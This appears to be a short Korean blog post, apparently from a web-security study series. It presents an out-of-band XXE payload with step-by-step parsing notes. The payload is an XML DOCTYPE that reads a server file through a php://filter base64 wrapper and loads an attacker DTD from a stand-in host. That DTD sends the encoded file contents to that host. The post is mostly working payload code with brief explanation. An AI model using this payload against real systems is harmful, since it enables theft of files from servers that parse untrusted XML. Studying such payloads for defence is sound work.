Payload
<!DOCTYPE nga [
<!ENTITY % read SYSTEM "php://filter/convert.base64-encode/resource=somethings">
<!ENTITY % dtd SYSTEM "https://hacker/xxe.dtd">
%dtd;
]>
<nga>&request;</nga>
hacker dtd file
<!ENTITY % all "<!ENTITY request SYSTEM 'https://hacker/recive?%read;'>">
%all;
XML 파싱 과정
1. ENTITY %read 에 특정 파일을 읽어 들인다.
2. ENTITY %dtd 로 외부 xxe.dtd 를 불러온다.
3. xxe.dtd 에서 https://hacker/recvie?%read; 로 요청을 하는 request ENTITY 를 만든다. %read 는 파일 내용으로 바뀐다.
4. &request 를 파싱하게 한다.
Data URL Scheme (RFC 2397) (0) | 2019.08.29 |
---|---|
Relative Path Overwrite (0) | 2019.04.29 |
CSS Injection (0) | 2018.11.02 |